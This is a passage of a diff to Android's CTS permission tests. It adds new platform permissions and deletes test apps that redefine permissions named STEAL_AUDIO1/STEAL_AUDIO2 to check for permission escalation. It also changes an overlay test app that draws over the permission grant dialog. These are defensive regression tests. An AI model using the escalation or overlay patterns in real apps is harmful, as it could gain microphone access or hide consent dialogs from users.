+        android:protectionLevel="signature|privileged" />
+
     <!-- ================================== -->
     <!-- Permissions for sdcard interaction -->
     <!-- ================================== -->
@@ -2442,6 +2517,10 @@
     <permission android:name="android.permission.CREATE_USERS"
         android:protectionLevel="signature" />
 
+    <!-- @TestApi @hide Allows an application to query user info for all users on the device. -->
+    <permission android:name="android.permission.QUERY_USERS"
+                android:protectionLevel="signature" />
+
     <!-- @hide Allows an application to set the profile owners and the device owner.
          This permission is not available to third party applications.-->
     <permission android:name="android.permission.MANAGE_PROFILE_AND_DEVICE_OWNERS"
@@ -2933,6 +3012,12 @@
     <permission android:name="android.permission.RECOVERY"
         android:protectionLevel="signature|privileged" />
 
+    <!-- @SystemApi Allows an application to do certain operations needed for
+         resume on reboot feature.
+         @hide -->
+    <permission android:name="android.permission.BIND_RESUME_ON_REBOOT_SERVICE"
+        android:protectionLevel="signature" />
+
     <!-- @SystemApi Allows an application to read system update info.
          @hide -->
     <permission android:name="android.permission.READ_SYSTEM_UPDATE_INFO"
@@ -2991,6 +3076,11 @@
     <permission android:name="android.permission.CHANGE_OVERLAY_PACKAGES"
         android:protectionLevel="signature|privileged" />
 
+    <!-- Allows an application to set, update and remove the credential management app.
+         @hide -->
+    <permission android:name="android.permission.MANAGE_CREDENTIAL_MANAGEMENT_APP"
+                android:protectionLevel="signature" />
+
     <!-- ========================================= -->
     <!-- Permissions for special development tools -->
     <!-- ========================================= -->
@@ -3006,6 +3096,12 @@
     <permission android:name="android.permission.DUMP"
         android:protectionLevel="signature|privileged|development" />
 
+    <!-- Allows an application to start tracing for InputMethod and WindowManager.
+    <p>Not for use by third-party applications.
+    @hide -->
+    <permission android:name="android.permission.CONTROL_UI_TRACING"
+        android:protectionLevel="signature|privileged|development" />
+
     <!-- Allows an application to read the low-level system log files.
     <p>Not for use by third-party applications, because
     Log entries can contain the user's private information. -->
@@ -3713,6 +3809,11 @@
     <permission android:name="android.permission.MOVE_PACKAGE"
         android:protectionLevel="signature|privileged" />
 
+    <!-- @TestApi Allows an application to keep uninstalled packages as apks.
+         @hide -->
+    <permission android:name="android.permission.KEEP_UNINSTALLED_PACKAGES"
+        android:protectionLevel="signature" />
+
     <!-- Allows an application to change whether an application component (other than its own) is
          enabled or not.
          <p>Not for use by third-party applications. -->
@@ -4280,6 +4381,10 @@
     <permission android:name="android.permission.WRITE_DREAM_STATE"
         android:protectionLevel="signature|privileged" />
 
+    <!-- @hide Allows applications to read whether ambient display is suppressed. -->
+    <permission android:name="android.permission.READ_DREAM_SUPPRESSION"
+        android:protectionLevel="signature" />
+
     <!-- @SystemApi Allow an application to read and write the cache partition.
          @hide -->
     <permission android:name="android.permission.ACCESS_CACHE_FILESYSTEM"
@@ -4424,7 +4529,7 @@
     <!-- Allows access to keyguard secure storage.  Only allowed for system processes.
         @hide -->
     <permission android:name="android.permission.ACCESS_KEYGUARD_SECURE_STORAGE"
-        android:protectionLevel="signature" />
+        android:protectionLevel="signature|setup" />
 
     <!-- Allows applications to set the initial lockscreen state.
          <p>Not for use by third-party applications. @hide -->
diff --git a/tests/tests/permission2/src/android/permission2/cts/PermissionPolicyTest.java b/tests/tests/permission2/src/android/permission2/cts/PermissionPolicyTest.java
index d3f6942..bb48193 100644
--- a/tests/tests/permission2/src/android/permission2/cts/PermissionPolicyTest.java
+++ b/tests/tests/permission2/src/android/permission2/cts/PermissionPolicyTest.java
@@ -69,9 +69,6 @@
     private static final String MANAGE_COMPANION_DEVICES_PERMISSION
             = "android.permission.MANAGE_COMPANION_DEVICES";
 
-    private static final Date INPUT_CONSUMER_PATCH_DATE = parseDate("2020-12-05");
-    private static final String INPUT_CONSUMER_PERMISSION = "android.permission.INPUT_CONSUMER";
-
     private static final String LOG_TAG = "PermissionProtectionTest";
 
     private static final String PLATFORM_PACKAGE_NAME = "android";
@@ -454,8 +451,6 @@
                 return parseDate(SECURITY_PATCH).before(HIDE_NON_SYSTEM_OVERLAY_WINDOWS_PATCH_DATE);
             case MANAGE_COMPANION_DEVICES_PERMISSION:
                 return parseDate(SECURITY_PATCH).before(MANAGE_COMPANION_DEVICES_PATCH_DATE);
-            case INPUT_CONSUMER_PERMISSION:
-                return parseDate(SECURITY_PATCH).before(INPUT_CONSUMER_PATCH_DATE);
             default:
                 return false;
         }
diff --git a/tests/tests/permission3/Android.bp b/tests/tests/permission3/Android.bp
index 576e1ed..c973d82 100644
--- a/tests/tests/permission3/Android.bp
+++ b/tests/tests/permission3/Android.bp
@@ -14,6 +14,10 @@
 // limitations under the License.
 //
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsPermission3TestCases",
     sdk_version: "test_current",
@@ -27,8 +31,6 @@
         "ctstestrunner-axt",
     ],
     data: [
-        ":CtsPermissionEscalationAppNonRuntime",
-        ":CtsPermissionEscalationAppRuntime",
         ":CtsPermissionPolicyApp25",
         ":CtsUsePermissionApp22",
         ":CtsUsePermissionApp22CalendarOnly",
diff --git a/tests/tests/permission3/AndroidTest.xml b/tests/tests/permission3/AndroidTest.xml
index 557de85..cdf7308 100644
--- a/tests/tests/permission3/AndroidTest.xml
+++ b/tests/tests/permission3/AndroidTest.xml
@@ -33,8 +33,6 @@
     </target_preparer>
 
     <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
-        <option name="push" value="CtsPermissionEscalationAppNonRuntime.apk->/data/local/tmp/cts/permission3/CtsPermissionEscalationAppNonRuntime.apk" />
-        <option name="push" value="CtsPermissionEscalationAppRuntime.apk->/data/local/tmp/cts/permission3/CtsPermissionEscalationAppRuntime.apk" />
         <option name="push" value="CtsPermissionPolicyApp25.apk->/data/local/tmp/cts/permission3/CtsPermissionPolicyApp25.apk" />
         <option name="push" value="CtsUsePermissionApp22.apk->/data/local/tmp/cts/permission3/CtsUsePermissionApp22.apk" />
         <option name="push" value="CtsUsePermissionApp22CalendarOnly.apk->/data/local/tmp/cts/permission3/CtsUsePermissionApp22CalendarOnly.apk" />
diff --git a/tests/tests/permission3/OWNERS b/tests/tests/permission3/OWNERS
index d4d6a95..01fbb48 100644
--- a/tests/tests/permission3/OWNERS
+++ b/tests/tests/permission3/OWNERS
@@ -1,7 +1,4 @@
 # Bug component: 137825
-svetoslavganov@google.com
-moltmann@google.com
-zhanghai@google.com
-eugenesusla@google.com
-evanseverson@google.com
-ntmyren@google.com
+
+include platform/frameworks/base:/core/java/android/permission/OWNERS
+
diff --git a/tests/tests/permission3/PermissionEscalationAppNonRuntime/Android.bp b/tests/tests/permission3/PermissionEscalationAppNonRuntime/Android.bp
deleted file mode 100644
index dd59e9c..0000000
--- a/tests/tests/permission3/PermissionEscalationAppNonRuntime/Android.bp
+++ /dev/null
@@ -1,20 +0,0 @@
-//
-// Copyright (C) 2016 The Android Open Source Project
-//
-// Licensed under the Apache License, Version 2.0 (the "License");
-// you may not use this file except in compliance with the License.
-// You may obtain a copy of the License at
-//
-//      http://www.apache.org/licenses/LICENSE-2.0
-//
-// Unless required by applicable law or agreed to in writing, software
-// distributed under the License is distributed on an "AS IS" BASIS,
-// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-// See the License for the specific language governing permissions and
-// limitations under the License.
-//
-
-android_test_helper_app {
-    name: "CtsPermissionEscalationAppNonRuntime",
-    certificate: ":cts-testkey2",
-}
diff --git a/tests/tests/permission3/PermissionEscalationAppNonRuntime/AndroidManifest.xml b/tests/tests/permission3/PermissionEscalationAppNonRuntime/AndroidManifest.xml
deleted file mode 100644
index 1584686..0000000
--- a/tests/tests/permission3/PermissionEscalationAppNonRuntime/AndroidManifest.xml
+++ /dev/null
@@ -1,37 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-
-<!--
-  ~ Copyright (C) 2016 The Android Open Source Project
-  ~
-  ~ Licensed under the Apache License, Version 2.0 (the "License");
-  ~ you may not use this file except in compliance with the License.
-  ~ You may obtain a copy of the License at
-  ~
-  ~      http://www.apache.org/licenses/LICENSE-2.0
-  ~
-  ~ Unless required by applicable law or agreed to in writing, software
-  ~ distributed under the License is distributed on an "AS IS" BASIS,
-  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-  ~ See the License for the specific language governing permissions and
-  ~ limitations under the License.
-  -->
-
-<manifest
-    xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.permission3.cts.permissionescalation">
-
-    <permission
-        android:name="android.permission3.cts.permissionescalation.STEAL_AUDIO1"
-        android:permissionGroup="android.permission-group.MICROPHONE"
-        android:protectionLevel="normal" />
-
-    <permission
-        android:name="android.permission3.cts.permissionescalation.STEAL_AUDIO2"
-        android:permissionGroup="android.permission-group.MICROPHONE"
-        android:protectionLevel="signature" />
-
-    <uses-permission android:name="android.permission3.cts.permissionescalation.STEAL_AUDIO1" />
-    <uses-permission android:name="android.permission3.cts.permissionescalation.STEAL_AUDIO2" />
-
-    <application android:hasCode="false" />
-</manifest>
diff --git a/tests/tests/permission3/PermissionEscalationAppRuntime/Android.bp b/tests/tests/permission3/PermissionEscalationAppRuntime/Android.bp
deleted file mode 100644
index b41701d..0000000
--- a/tests/tests/permission3/PermissionEscalationAppRuntime/Android.bp
+++ /dev/null
@@ -1,20 +0,0 @@
-//
-// Copyright (C) 2016 The Android Open Source Project
-//
-// Licensed under the Apache License, Version 2.0 (the "License");
-// you may not use this file except in compliance with the License.
-// You may obtain a copy of the License at
-//
-//      http://www.apache.org/licenses/LICENSE-2.0
-//
-// Unless required by applicable law or agreed to in writing, software
-// distributed under the License is distributed on an "AS IS" BASIS,
-// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-// See the License for the specific language governing permissions and
-// limitations under the License.
-//
-
-android_test_helper_app {
-    name: "CtsPermissionEscalationAppRuntime",
-    certificate: ":cts-testkey2",
-}
diff --git a/tests/tests/permission3/PermissionEscalationAppRuntime/AndroidManifest.xml b/tests/tests/permission3/PermissionEscalationAppRuntime/AndroidManifest.xml
deleted file mode 100644
index 4f2eb75..0000000
--- a/tests/tests/permission3/PermissionEscalationAppRuntime/AndroidManifest.xml
+++ /dev/null
@@ -1,37 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-
-<!--
-  ~ Copyright (C) 2016 The Android Open Source Project
-  ~
-  ~ Licensed under the Apache License, Version 2.0 (the "License");
-  ~ you may not use this file except in compliance with the License.
-  ~ You may obtain a copy of the License at
-  ~
-  ~      http://www.apache.org/licenses/LICENSE-2.0
-  ~
-  ~ Unless required by applicable law or agreed to in writing, software
-  ~ distributed under the License is distributed on an "AS IS" BASIS,
-  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-  ~ See the License for the specific language governing permissions and
-  ~ limitations under the License.
-  -->
-
-<manifest
-    xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.permission3.cts.permissionescalation">
-
-    <permission
-        android:name="android.permission3.cts.permissionescalation.STEAL_AUDIO1"
-        android:permissionGroup="android.permission-group.MICROPHONE"
-        android:protectionLevel="dangerous" />
-
-    <permission
-        android:name="android.permission3.cts.permissionescalation.STEAL_AUDIO2"
-        android:permissionGroup="android.permission-group.MICROPHONE"
-        android:protectionLevel="dangerous" />
-
-    <uses-permission android:name="android.permission3.cts.permissionescalation.STEAL_AUDIO1" />
-    <uses-permission android:name="android.permission3.cts.permissionescalation.STEAL_AUDIO2" />
-
-    <application android:hasCode="false" />
-</manifest>
diff --git a/tests/tests/permission3/PermissionPolicyApp25/Android.bp b/tests/tests/permission3/PermissionPolicyApp25/Android.bp
index 50117af..d3f8895 100644
--- a/tests/tests/permission3/PermissionPolicyApp25/Android.bp
+++ b/tests/tests/permission3/PermissionPolicyApp25/Android.bp
@@ -14,6 +14,10 @@
 // limitations under the License.
 //
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsPermissionPolicyApp25",
     srcs: [
diff --git a/tests/tests/permission3/UsePermissionApp22/Android.bp b/tests/tests/permission3/UsePermissionApp22/Android.bp
index 024e275..22d8f6d 100644
--- a/tests/tests/permission3/UsePermissionApp22/Android.bp
+++ b/tests/tests/permission3/UsePermissionApp22/Android.bp
@@ -14,6 +14,10 @@
 // limitations under the License.
 //
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsUsePermissionApp22",
     srcs: [
diff --git a/tests/tests/permission3/UsePermissionApp22CalendarOnly/Android.bp b/tests/tests/permission3/UsePermissionApp22CalendarOnly/Android.bp
index b16d755..0f6ce9e 100644
--- a/tests/tests/permission3/UsePermissionApp22CalendarOnly/Android.bp
+++ b/tests/tests/permission3/UsePermissionApp22CalendarOnly/Android.bp
@@ -14,6 +14,10 @@
 // limitations under the License.
 //
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsUsePermissionApp22CalendarOnly",
     srcs: [
diff --git a/tests/tests/permission3/UsePermissionApp23/Android.bp b/tests/tests/permission3/UsePermissionApp23/Android.bp
index a1fc2e2..48ab9dd 100644
--- a/tests/tests/permission3/UsePermissionApp23/Android.bp
+++ b/tests/tests/permission3/UsePermissionApp23/Android.bp
@@ -14,6 +14,10 @@
 // limitations under the License.
 //
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsUsePermissionApp23",
     srcs: [
diff --git a/tests/tests/permission3/UsePermissionApp25/Android.bp b/tests/tests/permission3/UsePermissionApp25/Android.bp
index 10f2d9e..a5d8873 100644
--- a/tests/tests/permission3/UsePermissionApp25/Android.bp
+++ b/tests/tests/permission3/UsePermissionApp25/Android.bp
@@ -14,6 +14,10 @@
 // limitations under the License.
 //
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsUsePermissionApp25",
     srcs: [
diff --git a/tests/tests/permission3/UsePermissionApp26/Android.bp b/tests/tests/permission3/UsePermissionApp26/Android.bp
index 53e2f10..c565b75 100644
--- a/tests/tests/permission3/UsePermissionApp26/Android.bp
+++ b/tests/tests/permission3/UsePermissionApp26/Android.bp
@@ -14,6 +14,10 @@
 // limitations under the License.
 //
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsUsePermissionApp26",
     srcs: [
diff --git a/tests/tests/permission3/UsePermissionApp28/Android.bp b/tests/tests/permission3/UsePermissionApp28/Android.bp
index 373462d..c15f69c 100644
--- a/tests/tests/permission3/UsePermissionApp28/Android.bp
+++ b/tests/tests/permission3/UsePermissionApp28/Android.bp
@@ -14,6 +14,10 @@
 // limitations under the License.
 //
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsUsePermissionApp28",
     srcs: [
diff --git a/tests/tests/permission3/UsePermissionApp29/Android.bp b/tests/tests/permission3/UsePermissionApp29/Android.bp
index f211ff8..f102275 100644
--- a/tests/tests/permission3/UsePermissionApp29/Android.bp
+++ b/tests/tests/permission3/UsePermissionApp29/Android.bp
@@ -14,6 +14,10 @@
 // limitations under the License.
 //
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsUsePermissionApp29",
     srcs: [
diff --git a/tests/tests/permission3/UsePermissionAppLatest/Android.bp b/tests/tests/permission3/UsePermissionAppLatest/Android.bp
index c08ffa6..3be83eb 100644
--- a/tests/tests/permission3/UsePermissionAppLatest/Android.bp
+++ b/tests/tests/permission3/UsePermissionAppLatest/Android.bp
@@ -14,6 +14,10 @@
 // limitations under the License.
 //
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 filegroup {
     name: "CtsUsePermissionAppSrc",
     srcs: [
diff --git a/tests/tests/permission3/UsePermissionAppLatestWithBackground/Android.bp b/tests/tests/permission3/UsePermissionAppLatestWithBackground/Android.bp
index 65bc605..7f31ca0 100644
--- a/tests/tests/permission3/UsePermissionAppLatestWithBackground/Android.bp
+++ b/tests/tests/permission3/UsePermissionAppLatestWithBackground/Android.bp
@@ -14,6 +14,10 @@
 // limitations under the License.
 //
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsUsePermissionAppLatestWithBackground",
     srcs: [
diff --git a/tests/tests/permission3/UsePermissionAppWithOverlay/Android.bp b/tests/tests/permission3/UsePermissionAppWithOverlay/Android.bp
index da87122..2a4beab 100644
--- a/tests/tests/permission3/UsePermissionAppWithOverlay/Android.bp
+++ b/tests/tests/permission3/UsePermissionAppWithOverlay/Android.bp
@@ -14,6 +14,10 @@
 // limitations under the License.
 //
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsUsePermissionAppWithOverlay",
     srcs: [
diff --git a/tests/tests/permission3/UsePermissionAppWithOverlay/res/layout/overlay_activity.xml b/tests/tests/permission3/UsePermissionAppWithOverlay/res/layout/overlay_activity.xml
index 0335357..96b4df7 100644
--- a/tests/tests/permission3/UsePermissionAppWithOverlay/res/layout/overlay_activity.xml
+++ b/tests/tests/permission3/UsePermissionAppWithOverlay/res/layout/overlay_activity.xml
@@ -21,6 +21,10 @@
               android:background="@drawable/border"
               android:padding="8dp" >
 
+    <View android:layout_width="match_parent"
+              android:layout_height="0dp"
+              android:layout_weight="1" />
+
     <TextView android:id="@+id/overlay_description"
               android:layout_width="wrap_content"
               android:layout_height="wrap_content"
diff --git a/tests/tests/permission3/UsePermissionAppWithOverlay/src/android/permission3/cts/usepermission/OverlayActivity.kt b/tests/tests/permission3/UsePermissionAppWithOverlay/src/android/permission3/cts/usepermission/OverlayActivity.kt
index 2a61e12..89bb1da 100644
--- a/tests/tests/permission3/UsePermissionAppWithOverlay/src/android/permission3/cts/usepermission/OverlayActivity.kt
+++ b/tests/tests/permission3/UsePermissionAppWithOverlay/src/android/permission3/cts/usepermission/OverlayActivity.kt
@@ -1,6 +1,10 @@
 package android.permission3.cts.usepermission
 
 import android.app.Activity
+import android.content.BroadcastReceiver
+import android.content.Context
+import android.content.Intent
+import android.content.IntentFilter
 import android.os.Bundle
 import android.view.WindowManager
 
@@ -14,5 +18,15 @@
                 WindowManager.LayoutParams.FLAG_NOT_TOUCH_MODAL or
                 WindowManager.LayoutParams.FLAG_NOT_TOUCHABLE or
                 WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON)
+
+        registerReceiver(object : BroadcastReceiver() {
+            override fun onReceive(context: Context?, intent: Intent?) {
+                if (intent?.action != RequestPermissionsActivity.ACTION_HIDE_OVERLAY) {
+                    return
+                }
+
+                finish()
+            }
+        }, IntentFilter(RequestPermissionsActivity.ACTION_HIDE_OVERLAY))
     }
 }
\ No newline at end of file
diff --git a/tests/tests/permission3/UsePermissionAppWithOverlay/src/android/permission3/cts/usepermission/RequestPermissionsActivity.kt b/tests/tests/permission3/UsePermissionAppWithOverlay/src/android/permission3/cts/usepermission/RequestPermissionsActivity.kt
index 0d29202..54155f6 100644
--- a/tests/tests/permission3/UsePermissionAppWithOverlay/src/android/permission3/cts/usepermission/RequestPermissionsActivity.kt
+++ b/tests/tests/permission3/UsePermissionAppWithOverlay/src/android/permission3/cts/usepermission/RequestPermissionsActivity.kt
@@ -17,15 +17,29 @@
 package android.permission3.cts.usepermission
 
 import android.app.Activity
+import android.content.BroadcastReceiver
+import android.content.Context
 import android.content.Intent
+import android.content.IntentFilter
 import android.os.Bundle
 import android.os.Handler
 
 class RequestPermissionsActivity : Activity() {
+
     var paused = false
 
     override fun onCreate(savedInstanceState: Bundle?) {
         super.onCreate(savedInstanceState)
+        registerReceiver(object : BroadcastReceiver() {
+            override fun onReceive(context: Context?, intent: Intent?) {
+                if (intent?.action != ACTION_SHOW_OVERLAY) {
+                    return
+                }
+
+                startActivity(Intent(context, OverlayActivity::class.java)
+                        .addFlags(Intent.FLAG_ACTIVITY_NEW_TASK))
+            }
+        }, IntentFilter(ACTION_SHOW_OVERLAY))
         Handler(mainLooper).post(this::eventuallyRequestPermission)
     }
 
@@ -34,11 +48,7 @@
      * due to rapid install/uninstall tests do
      */
     private fun eventuallyRequestPermission() {
-        if (paused) {
-            // Grant dialog should be in front at this point
-            startActivity(Intent(this, OverlayActivity::class.java)
-                    .addFlags(Intent.FLAG_ACTIVITY_NEW_TASK))
-        } else {
+        if (!paused) {
             val permissions = intent.getStringArrayExtra("$packageName.PERMISSIONS")!!
             requestPermissions(permissions, 1)
             Handler(mainLooper).postDelayed(this::eventuallyRequestPermission, 200)
@@ -68,4 +78,9 @@
         paused = false
         super.onResume()
     }
+
+    companion object {
+        const val ACTION_SHOW_OVERLAY = "android.permission3.cts.usepermission.ACTION_SHOW_OVERLAY"
+        const val ACTION_HIDE_OVERLAY = "android.permission3.cts.usepermission.ACTION_HIDE_OVERLAY"
+    }
 }
diff --git a/tests/tests/permission3/src/android/permission3/cts/BasePermissionTest.kt b/tests/tests/permission3/src/android/permission3/cts/BasePermissionTest.kt
index 3af1b50..9721517 100644
--- a/tests/tests/permission3/src/android/permission3/cts/BasePermissionTest.kt
+++ b/tests/tests/permission3/src/android/permission3/cts/BasePermissionTest.kt
@@ -127,7 +127,7 @@
         return UiAutomatorUtils.waitFindObject(selector, timeoutMillis)
     }
 
-    protected fun click(selector: BySelector, timeoutMillis: Long = 10_000) {
+    protected fun click(selector: BySelector, timeoutMillis: Long = 20_000) {
         waitFindObject(selector, timeoutMillis).click()
         waitForIdle()
     }
diff --git a/tests/tests/permission3/src/android/permission3/cts/BaseUsePermissionTest.kt b/tests/tests/permission3/src/android/permission3/cts/BaseUsePermissionTest.kt
index 8aedb6d..d313ced 100644
--- a/tests/tests/permission3/src/android/permission3/cts/BaseUsePermissionTest.kt
+++ b/tests/tests/permission3/src/android/permission3/cts/BaseUsePermissionTest.kt
@@ -88,108 +88,54 @@
     protected val isAutomotive = packageManager.hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE)
 
     private val platformResources = context.createPackageContext("android", 0).resources
-    private val permissionToLabelResNameMap =
-        if (!packageManager.arePermissionsIndividuallyControlled()) {
-            mapOf(
-                // Contacts
-                android.Manifest.permission.READ_CONTACTS
+    private val permissionToLabelResNameMap = mapOf(
+            // Contacts
+            android.Manifest.permission.READ_CONTACTS
                     to "@android:string/permgrouplab_contacts",
-                android.Manifest.permission.WRITE_CONTACTS
+            android.Manifest.permission.WRITE_CONTACTS
                     to "@android:string/permgrouplab_contacts",
-                // Calendar
-                android.Manifest.permission.READ_CALENDAR
+            // Calendar
+            android.Manifest.permission.READ_CALENDAR
                     to "@android:string/permgrouplab_calendar",
-                android.Manifest.permission.WRITE_CALENDAR
+            android.Manifest.permission.WRITE_CALENDAR
                     to "@android:string/permgrouplab_calendar",
-                // SMS
-                android.Manifest.permission.SEND_SMS to "@android:string/permgrouplab_sms",
-                android.Manifest.permission.RECEIVE_SMS to "@android:string/permgrouplab_sms",
-                android.Manifest.permission.READ_SMS to "@android:string/permgrouplab_sms",
-                android.Manifest.permission.RECEIVE_WAP_PUSH to "@android:string/permgrouplab_sms",
-                android.Manifest.permission.RECEIVE_MMS to "@android:string/permgrouplab_sms",
-                "android.permission.READ_CELL_BROADCASTS" to "@android:string/permgrouplab_sms",
-                // Storage
-                android.Manifest.permission.READ_EXTERNAL_STORAGE
+            // SMS
+            android.Manifest.permission.SEND_SMS to "@android:string/permgrouplab_sms",
+            android.Manifest.permission.RECEIVE_SMS to "@android:string/permgrouplab_sms",
+            android.Manifest.permission.READ_SMS to "@android:string/permgrouplab_sms",
+            android.Manifest.permission.RECEIVE_WAP_PUSH to "@android:string/permgrouplab_sms",
+            android.Manifest.permission.RECEIVE_MMS to "@android:string/permgrouplab_sms",
+            "android.permission.READ_CELL_BROADCASTS" to "@android:string/permgrouplab_sms",
+            // Storage
+            android.Manifest.permission.READ_EXTERNAL_STORAGE
                     to "@android:string/permgrouplab_storage",
-                android.Manifest.permission.WRITE_EXTERNAL_STORAGE
+            android.Manifest.permission.WRITE_EXTERNAL_STORAGE
                     to "@android:string/permgrouplab_storage",
-                // Location
-                android.Manifest.permission.ACCESS_FINE_LOCATION
+            // Location
+            android.Manifest.permission.ACCESS_FINE_LOCATION
                     to "@android:string/permgrouplab_location",
-                android.Manifest.permission.ACCESS_COARSE_LOCATION
+            android.Manifest.permission.ACCESS_COARSE_LOCATION
                     to "@android:string/permgrouplab_location",
-                // Phone
-                android.Manifest.permission.READ_PHONE_STATE
+            // Phone
+            android.Manifest.permission.READ_PHONE_STATE
                     to "@android:string/permgrouplab_phone",
-                android.Manifest.permission.CALL_PHONE to "@android:string/permgrouplab_phone",
-                "android.permission.ACCESS_IMS_CALL_SERVICE"
+            android.Manifest.permission.CALL_PHONE to "@android:string/permgrouplab_phone",
+            "android.permission.ACCESS_IMS_CALL_SERVICE"
                     to "@android:string/permgrouplab_phone",
-                android.Manifest.permission.READ_CALL_LOG to "@android:string/permgrouplab_phone",
-                android.Manifest.permission.WRITE_CALL_LOG to "@android:string/permgrouplab_phone",
-                android.Manifest.permission.ADD_VOICEMAIL to "@android:string/permgrouplab_phone",
-                android.Manifest.permission.USE_SIP to "@android:string/permgrouplab_phone",
-                android.Manifest.permission.PROCESS_OUTGOING_CALLS
+            android.Manifest.permission.READ_CALL_LOG to "@android:string/permgrouplab_phone",
+            android.Manifest.permission.WRITE_CALL_LOG to "@android:string/permgrouplab_phone",
+            android.Manifest.permission.ADD_VOICEMAIL to "@android:string/permgrouplab_phone",
+            android.Manifest.permission.USE_SIP to "@android:string/permgrouplab_phone",
+            android.Manifest.permission.PROCESS_OUTGOING_CALLS
                     to "@android:string/permgrouplab_phone",
-                // Microphone
-                android.Manifest.permission.RECORD_AUDIO
+            // Microphone
+            android.Manifest.permission.RECORD_AUDIO
                     to "@android:string/permgrouplab_microphone",
-                // Camera
-                android.Manifest.permission.CAMERA to "@android:string/permgrouplab_camera",
-                // Body sensors
-                android.Manifest.permission.BODY_SENSORS to "@android:string/permgrouplab_sensors"
-            )
-        } else {
-            mapOf(
-                // Contacts
-                android.Manifest.permission.READ_CONTACTS to "@android:string/permlab_readContacts",
-                android.Manifest.permission.WRITE_CONTACTS
-                    to "@android:string/permlab_writeContacts",
-                // Calendar
-                android.Manifest.permission.READ_CALENDAR
-                    to "@android:string/permgrouplab_calendar",
-                android.Manifest.permission.WRITE_CALENDAR
-                    to "@android:string/permgrouplab_calendar",
-                // SMS
-                android.Manifest.permission.SEND_SMS to "@android:string/permlab_sendSms",
-                android.Manifest.permission.RECEIVE_SMS to "@android:string/permlab_receiveSms",
-                android.Manifest.permission.READ_SMS to "@android:string/permlab_readSms",
-                android.Manifest.permission.RECEIVE_WAP_PUSH
-                    to "@android:string/permlab_receiveWapPush",
-                android.Manifest.permission.RECEIVE_MMS to "@android:string/permlab_receiveMms",
-                "android.permission.READ_CELL_BROADCASTS"
-                    to "@android:string/permlab_readCellBroadcasts",
-                // Storage
-                android.Manifest.permission.READ_EXTERNAL_STORAGE
-                    to "@android:string/permgrouplab_storage",
-                android.Manifest.permission.WRITE_EXTERNAL_STORAGE
-                    to "@android:string/permgrouplab_storage",
-                // Location
-                android.Manifest.permission.ACCESS_FINE_LOCATION
-                    to "@android:string/permgrouplab_location",
-                android.Manifest.permission.ACCESS_COARSE_LOCATION
-                    to "@android:string/permgrouplab_location",
-                // Phone
-                android.Manifest.permission.READ_PHONE_STATE
-                    to "@android:string/permlab_readPhoneState",
-                android.Manifest.permission.CALL_PHONE to "@android:string/permlab_callPhone",
-                "android.permission.ACCESS_IMS_CALL_SERVICE"
-                    to "@android:string/permlab_accessImsCallService",
-                android.Manifest.permission.READ_CALL_LOG to "@android:string/permlab_readCallLog",
-                android.Manifest.permission.WRITE_CALL_LOG
-                    to "@android:string/permlab_writeCallLog",
-                android.Manifest.permission.ADD_VOICEMAIL to "@android:string/permlab_addVoicemail",
-                android.Manifest.permission.USE_SIP to "@android:string/permlab_use_sip",
-                android.Manifest.permission.PROCESS_OUTGOING_CALLS
-                    to "@android:string/permlab_processOutgoingCalls",
-                // Microphone
-                android.Manifest.permission.RECORD_AUDIO
-                    to "@android:string/permgrouplab_microphone",
-                // Camera
-                android.Manifest.permission.CAMERA to "@android:string/permgrouplab_camera",
-                // Body sensors
-                android.Manifest.permission.BODY_SENSORS to "@android:string/permgrouplab_sensors"
-            )
-        }
+            // Camera
+            android.Manifest.permission.CAMERA to "@android:string/permgrouplab_camera",
+            // Body sensors
+            android.Manifest.permission.BODY_SENSORS to "@android:string/permgrouplab_sensors"
+    )
 
     @Before
     @After
@@ -448,6 +394,7 @@
                             data = Uri.fromParts("package", APP_PACKAGE_NAME, null)
                             addCategory(Intent.CATEGORY_DEFAULT)
                             addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
+                            addFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK)
                         }
                 )
                 // Open the permissions UI
diff --git a/tests/tests/permission3/src/android/permission3/cts/PermissionEscalationTest.kt b/tests/tests/permission3/src/android/permission3/cts/PermissionEscalationTest.kt
deleted file mode 100644
index f4a6804..0000000
--- a/tests/tests/permission3/src/android/permission3/cts/PermissionEscalationTest.kt
+++ /dev/null
@@ -1,61 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
